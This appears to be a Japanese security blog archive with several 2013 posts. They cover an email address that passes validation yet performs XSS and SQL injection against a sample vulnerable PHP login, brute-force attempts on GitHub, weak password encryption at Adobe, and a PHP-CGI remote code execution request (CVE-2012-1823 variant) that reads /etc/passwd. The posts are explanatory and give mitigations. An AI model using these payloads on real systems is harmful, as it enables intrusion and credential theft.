2013年11月29日金曜日

XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス

メールアドレスの「ルール」に関する話題が盛り上がっていますね。
これらのエントリに異論があるわけでありません。メールアドレスに関するルールというとRFC5322などがあるものの、現実の運用では簡易的な仕様を用いている場合が大半である…という事情は、私も以前ブログに書きました。、
本稿では、「空前のメールアドレスのルールブーム(?)」に便乗する形で、RFC5322に準拠したメールアドレスで、XSSやSQLインジェクションの攻撃ができることを紹介します。と言っても、SQLインジェクションについては、過去に書きましたので、本稿では、RFC5322バリッドなメールアドレスでSQLインジェクションとXSSの両方ができるメールアドレスを紹介します。
まず、攻撃対象として、以下のログインスクリプトを用います。メールアドレスはfilter_varを用いてメールアドレスとしての妥当性を確認し、パスワードは英数字のみであることをctype_alnumを用いて確認しています。
<?php
  define('USERNAME', 'xxxxx');
  define('PASSWORD', 'xxxxx');

  $err = $id = $pwd = '';
  // ユーザID(メールアドレス)のバリデーション
  if (isset($_GET['id']) && filter_var($_GET['id'], FILTER_VALIDATE_EMAIL)) {
     $id = $_GET['id'];   // ユーザID
  } else {
     $err .= 'ユーザIDはメールアドレスを指定してください<br>';
  }
  // パスワード(英数字)のバリデーション
  if (isset($_GET['pwd']) && ctype_alnum($_GET['pwd'])) {
    $pwd = $_GET['pwd']; // パスワード
  } else {
     $err .= 'パスワードは英数字を指定してください<br>';
  }
  if ($err !== '') {
    die($err); // バリデーションエラーの場合はエラーメッセージを表示して終了
  }
  // データベースに接続
  $dbh = new PDO('mysql:dbname=test;host=localhost;charset=utf8', USERNAME, PASSWORD);
  // SQLの組み立て
  $sql = "SELECT * FROM users WHERE id ='$id' AND pwd = '$pwd'";
  $stmt = $dbh->query($sql);  // クエリー実行
?><html>
<body><?php
  echo 'sql= ' . htmlspecialchars($sql, ENT_NOQUOTES, 'UTF-8') . '<br>';
  if ($stmt->rowCount() > 0) { // SELECTした行が存在する場合ログイン成功
    echo "ログイン成功です(id:$id)";
  } else {
    echo 'ログイン失敗です';
  }
  $dbh = 0;
?></body>
</html>
実行例を示します。まずは、ログイン成功の場合です。最下行にログインユーザ名が表示されますが、ここにXSS脆弱性があります。


次に、ログイン失敗の場合です。


これに対する攻撃メールアドレスですが、XSS攻撃に必要な記号文字 < や > はダブルクォートで囲まないとメールアドレスのローカルパート(@の左側)では使えないため、ダブルクォートで囲ったメールアドレスにします。以下にそのような例を示します。
"><script>alert('or/**/1=1#')</script>"@example.jp
ここで、/**/は空のコメントですが、filter_varによるメールアドレスチェックでは(quoted-stringでも)空白がエラーになった(*1)ので、空白の代わりに使用しています。
このメールアドレスを先のログインスクリプトに指定すると、以下の画面になります。


ちゃんと(?)XSSが発動していますね。OKボタンをクリックすると続いて下記の画面になります。


SQLインジェクション攻撃により、IDが存在しないのにログインに成功しています。

なお、このメールアドレスはRFC準拠なので、ThunderbirdとGmailでは、このメールアドレス(ドメイン名は変えました)に送信可能であることを確認しています。Becky!での送信は括弧のせいでエラーになるようです。


ということで、RFC5322バリッドで、SQLインジェクションもXSSもできるメールアドレスを示しました。

ただし、このメールアドレスは中々に危険です。その理由については私の過去のエントリを御覧ください。このため、この種のメールアドレスを公開Webサイト等で試すことは避けてくださいますようにお願い致します。

*1 phpallで確認したところ、PHP5.3.2までは空白入りのメールアドレスがValidと判定されていましたが、PHP5.3.3以降ではエラーになるようです。

2013年11月22日金曜日

GitHubに大規模な不正ログイン試行

GitHubのブログおよび国内の報道によると、GitHubに対して大規模な不正ログインが試みられたようです。
GitHubは米国時間の2013年11月19日、ブルートフォース攻撃を受けたことを明らかにした。攻撃の時期や被害を受けたアカウント数は公にしていないが、今回の攻撃を踏まえ、より強固なパスワードや二要素認証などを利用するようユーザーに呼び掛けている。
GitHubにブルートフォース攻撃、一部のパスワードが破られるより引用
私もGitHubアカウントがありますのでSecurity Historyページを確認したところ、不正ログインの試行が確認されました。IPアドレスは、ベネズエラ、タイ、ブラジルのものです。


GitHubアカウントをお持ちの方は、念のためSecurity Historyを確認することを推奨します。
今回の不正ログインの特徴は以下のようなものです。
  • 少数の「弱いパスワード」に対する試行と思われる
  • 1アカウントに対して、時間をおいて少しずつ試行する「ゆっくりした攻撃」
  • 4万のIPアドレスからの分散攻撃
  • 攻撃のパターンからはパスワードリスト攻撃ではないと思われる
私は以前、このブログにて以下のように書きました。
「辞書」のサイズはさまざまでしょうが、数十から数千くらいと推測されます。ペネトレーション検査等では数千以上の「大きな辞書」を使いますが、実際の攻撃では、1つのIDでちょっと試して、だめだったら次のIDで試した方が効率的のような気がします(攻撃対象が誰でも良い場合)
パスワード攻撃に対抗するWebサイト側セキュリティ強化策より引用
上記の「小さな辞書の方が効率的」と書いたことが現実に行われたと考えます。攻撃対象が誰でもよいと思う理由の1つは、私自身のGitHubリポジトリには価値あるソースコードがない、ということです。
となると、犯人の動機が気になるところですが、
  • GitHubにホストされたソースにマルウェアを注入したかった(ソフトウェアは何でもよかった)
  • GitHubのOAuthでログインできるサイトの不正利用
  • その他
などが考えられます。

この種の攻撃へのサイト側の対策は容易ではありません。攻撃者は、既存のセキュリティ施策をかいくぐるように攻撃をしています。
  • アカウントロックを避けるために1アカウントあたり少ない試行で留める
  • IPアドレスを4万に分散させ、IPアドレス単位のロックや監視をくぐり抜ける
  • 試行を「ゆっくり」行うことにより、試行回数によるロックや監視をかいくぐる
一方で、「小さな辞書」を用いると言うことは、123456やpasswordなどの「安易なパスワード」を避けるだけで対策できると考えられます。現在のGitHubには既に、パスワードの辞書チェック機能が実装されています。以下は、GitHubにてパスワードを「password1」に変更しようとした際の画面です。

「パスワードはハッカーに推測されます」というエラーメッセージが表示され、このパスワードには設定できません。この辞書チェック機能は最近実装されたものでしょう。GitHubは迅速に対処を進めています。同様の辞書チェック機能は、既にtwitter、google、facebookでは実装されています(参照)。

利用者側の対処はシンプルです。以下を推奨します。
  • 推測しにくいパスワードを設定する(必須)
  • 他のサイトで使っていないパスワードを設定する(必須)
  • 二要素認証を有効にする(推奨)
ということで、私も(GitHubに重要資産はないものの、念のため)GitHubの二要素認証を有効にしました。

追記(11:00) 不正ログインが大量に成功したわけではないので、タイトルに「試行」と追記しました。

2013年11月11日月曜日

Adobeサイトから漏えいした暗号化パスワードはなぜ解読されたか

Adobe社のサイトの不正アクセス(参照参照)によって、少なくとも3800万人のIDと暗号化されたパスワードが漏えいしたと言われています。既に報告したように、私のアカウントも漏えいしていました。
その後、『Adobeの情報流出で判明した安易なパスワードの実態、190万人が「123456」使用』というニュースが流れてきました。安易なパスワードが使われている統計は今までもあり、「パスワードの実態」に関しては「そんなものだろうな」と思いましたが、問題は、どうやって「暗号化パスワード」を解読したかです。
別の報道では、Adobeサイトがパスワードの暗号化に用いていたアルゴリズムはトリプルDESだったということです。トリプルDESは電子政府推奨暗号リストの今年の改訂でもしぶとく生き残り広く使われている暗号化アルゴリズムです。そんなに簡単に解読されたのでは問題ですが、実際には、「トリプルDESが解読された」わけではないようです(良かったw)。

先の報道および参照元によると、暗号鍵を解析して復号したのではなく、別の方法でパスワードそのものを推測したということです。しかし、方法はともかく、平文パスワードを取得されてしまっては暗号化の意味がありません。そこで、なぜ平文パスワードを解読されてしまったかを調べて見ました。
謎を解く鍵は、以下のコメントにあります。
集計できた理由としてSCGのジェレミ・ゴスニー最高経営責任者(CEO)は、「Adobeがハッシュよりも対称鍵暗号を選び、ECBモードを選択し、全てのパスワードに同じ鍵を使っていたことや、ユーザーが平文で保存していたパスワード推測のヒントがあったおかげ」だと説明している。
Adobeの情報流出で判明した安易なパスワードの実態、190万人が「123456」使用より引用
以下、順に説明します。

ECBモードで暗号化されていた

Adobeサイトのパスワードはブロック暗号化モードとしてECBが選択されていたということですが、これを言い換えると、「元のパスワードが同じであれば、暗号化されたパスワードも同じになる」ということです。「当たり前じゃないか」と思う人がいるかもしれませんが、同じパスワードが常に同じ暗号結果になると、平文(元パスワード)推測の大きなヒントになります。
なぜなら、暗号化パスワードの中に、出現数の非常に多いものがあれば、「passwordや123456などよく使われる安易なパスワード」である可能性が高いことになります。仮に暗号文からの解読ができないにしても、元のサイトに対して辞書攻撃を掛ければ、元パスワードが判明する可能性が高くなります。
「アカウントロックで防げないか?」という疑問が生じますが、単純なアカウントロックでは防げません。たとえば、yamada、tanaka、sato…のIDが同じパスワードを使っていることが分かったとして、以下の表のように、IDとパスワードを共に変えながらパスワードを試す攻撃ができます。(今回の解読に使われた方法ではありません)。

IDパスワード
yamdapassword
tanakaqwerty
sato123456
......
※ yamada, tanaka, sato ... は同じパスワードを使っていることが分かっているとする

ここで、sato:123456が認証成功したとすると、satoだけでなく、yamada、tanakaもパスワードが123456であることが分かります。

この問題はハッシュ値でパスワードを保存する場合にも生じます。このため、ハッシュ値でパスワードを保存する場合はソルト(salt)を用いて、同じパスワードでもハッシュ値が別々になるようにするわけてすが、暗号化の場合はソルトではなく、初期化ベクトル(IV)とブロック暗号化モードいうものを用いて、暗号結果がばらばらになるようにします。詳しくは、暗号の参考書をご覧下さい。
以上のように、Adobeサイトのパスワード暗号化の方法には重大な問題があったことになります。

パスワードの「ヒント」が平文保存されていた

Adobeサイトには、過去、パスワードのヒントというものを保存することができたようです。現在のAdobeサイトにはこの機能は削除されていますが、Adobeサイトのヘルプやヘルプのアーカイブをあさると、「パスワードのヒント」という機能があったことが伺えます。


先の記事や参照元を見ると、このヒントは平文でデータベースに保存され、暗号化パスワードとともに漏えいしたようです。そして、ヒントにパスワードそのものを保存していたり、容易にパスワードが推測できる文が書かれていたりしたとのことです。下記は、その例を示すゴスニー氏のツイートです。
「旧社名、アドビでなく、アドビの前、アドビに買収された」というヒントから、パスワードはmacromediaだと推測しています。アドビに買収された会社は他にもありますが、このパスワードをつけている人は54,651人もいて全体の16位ですから、他のユーザのヒントや、「アドビの買収した会社の中でも有名な会社」、パスワードの長さ、などから確定としたのでしょう。暗号化したパスワードは可変長なので、1~7文字、8~15文字という単位(トリプルDESは64ビットブロック暗号なので)でおおよそのパスワード長が分かります。

結局パスワードの保存はどうすればよいか

Adobeサイトのパスワード保存方法の問題点(推測)について説明しました。現在パスワードの保存方法のベストプラクティスはソルト付きハッシュ + ストレッチングということになっいるので、それに従うのが無難かと思います。PHPの場合は、PHP5.5から password_hash という便利な関数が追加されたので、これでパスワードを保存するのがよいでしょう。同じ仕様の関数がpassword_compatライブラリ(PHP5.3.7以降)として公開されていますので、PHP5.5未満のPHPからも利用できます。

まとめ

  • AdobeサイトのパスワードはトリプルDESで暗号化されていたが、実装の不備により平文パスワードが推測されてしまった
    • 初期化ベクトルを使わないために同一パスワードが同一暗号文となる
    • パスワードのヒントが暗号化されずに保存されていた
    • そもそもパスワードのヒントという仕様がよくない(現在は削除されている)
  • パスワードの保存にはソルト付きハッシュ + ストレッチングを使おう
  • 暗号化の際は、適切なブロック暗号化モードと初期化ベクトルを用いること

参考:

2013年11月7日木曜日

徳丸本のDRMなしPDF版が達人出版会からお買い求めいただけます

昨日から、拙著「体系的に学ぶ安全なWebアプリケーションの作り方」が達人出版会から発売されました。DRMフリーのPDF形式になります。
ということで、紙の本に加え、電子版が5種類販売されることになります。
電子版はいずれも2,800円(税別)で、PDF版はDRMなし、Kindle、Kobo、Google PlayはDRM有りになります。
読者にとって選択肢が広がるということは基本的に良いことと考えていますが、種類が多すぎて迷うという方のために、「迷うようであれば達人出版会のPDFにしておくのがいいよ」とアドバイスいたします。その理由は、
  • DRMなしのPDFというオープンな規格なので将来にわたって資産が毀損される心配がない
  • Kindle、Kobo、Google Playは固定レイアウトであり、PDFに比べてメリットがない
  • bookpub版のPDFには印刷NGという制限があるが、達人出版会版は印刷も可
ということで、制限のないPDFである達人出版会版がおすすめです。検索やコピペもできます。悪用防止のために、各ページの下部に、読者のメールアドレスが薄く表示されます。

皆様のご愛読に感謝いたします。引き続き、拙著をよろしくお願いいたします。

達人出版会版のページ

2013年11月1日金曜日

CGI版PHPに対する魔法少女アパッチマギカ攻撃を観測しました

昨夜に、魔法少女アパッチ☆マギカ攻撃を観測しました。魔法少女アパッチ☆マギカとは、PoCのソースコードに Apache Magica by Kingcope とコメントされていることに由来しています(というか、私がそう訳しましたw)。
これは10月29日にPoCが発表されたPHP-CGI攻撃(CVE-2012-1823)の変種です。従来のPHP-CGI攻撃は、CGI版PHPが動作する環境で、PHPスクリプト(中身はなんでもよい)に対する攻撃でしたが、魔法少女アパッチマギカの方は、/cgi-bin/に置かれたPHP処理系(php-cgiなど)に直接攻撃するものです。

CGI版PHPを設置する方法は複数ありますが、よく使われる方法としてApacheのリダイレクトによりPHPスクリプトをPHP処理系に実行させる方法があります。この場合、/cgi-bin/php-cgiなどとしてPHP処理系を公開領域に置くため、このphp-cgiを直接リクエストすることを禁止するために、cgi.force_redirect というディレクティブを1に設定します(php.iniに明示的に設定しなくてもデフォルトで可)。
設定ディレクティブ cgi.force_redirect は、 http://my.host/cgi-bin/php/secretdir/script.php のように URL から直接 PHP を呼び出すことを禁止します。 代わりに、 Web サーバーのリダイレクションにより処理された場合は、 PHP はこのモードでのみ処理を行います。 4.2.0 より古いバージョンの PHP では、コンパイル時のオプション --enable-force-cgi-redirect を使えば同じことができます。
http://www.php.net/manual/ja/security.cgi-bin.force-redirect.php
ところが、apache-magika.cに書かれたコメントによると、この設定は外部から無効にできてしまいます。
Prior to this code for the Security check getopt is called and it is possible to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the -d switch.
試訳
このセキュリティチェックのコード(注:cgi.force_redirectの確認)に先だって、getopt(注:コマンドライン引数の処理)が呼ばれ、-d スイッチ を使用してcgi.force_redirectとcgi.redirect_status_envをゼロにすることができる。
ということで、cgi.force_redirectは(PHP_INI_SYSTEMであるにも関わらず)コマンドライン経由で外部から変更できるということです。
apache-magika.cはC言語で書かれた、実用性の高い(攻撃にすぐに使える)コードですが、要点は以下のPOSTリクエストです。php-cgiのところは環境に合わせて変更して下さい。赤字にしたところが、魔法少女アパッチマギカの唱える呪文ですw
POST /cgi-bin/php-cgi?-d+allow_url_include%3don+-d+safe_mode%3doff+-d+suhosin.simulation%3don+-d+disable_functions%3d""+-d+open_basedir%3dnone+-d+auto_prepend_file%3dphp://input+-d+cgi.force_redirect%3d0+-d+cgi.redirect_status_env%3d0+-n HTTP/1.1
Host: example.jp
Content-Length: 40

<?php system('cat /etc/passwd'); exit();
結果は、下記のように、任意のコードが実行されます。
HTTP/1.1 200 OK
Date: Thu, 31 Oct 2013 22:26:58 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.4.2
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…省略
影響を受けるPHPのバージョンはCVE-2012-1823と同じですので、新たに脅威が増すということはあまりないはずですが、以下のケースでは攻撃を受ける可能性があります。
  • CVE-2012-1823脆弱性のあるPHPをCGI環境で設定しているが、PHPスクリプトが存在しないので攻撃経路が無いと判断し、対策していないサイト
  • CGI版PHPを設定していないが、/cgi-bin/ディレクトリにCVE-2012-1823脆弱なPHPバイナリがあるケース(これが意外にありそう)
  • その他、CVE-2012-1823に対して本質的でない回避策をとっている場合
ということで、以下を推奨します。

  • 最新版のPHP(本稿執筆十点では、PHP5.3.27、PHP5.4.21、PHP5.5.5)を導入する
  • /cgi-bin/等に使用していないPHP処理系がある場合は削除する

フォロワー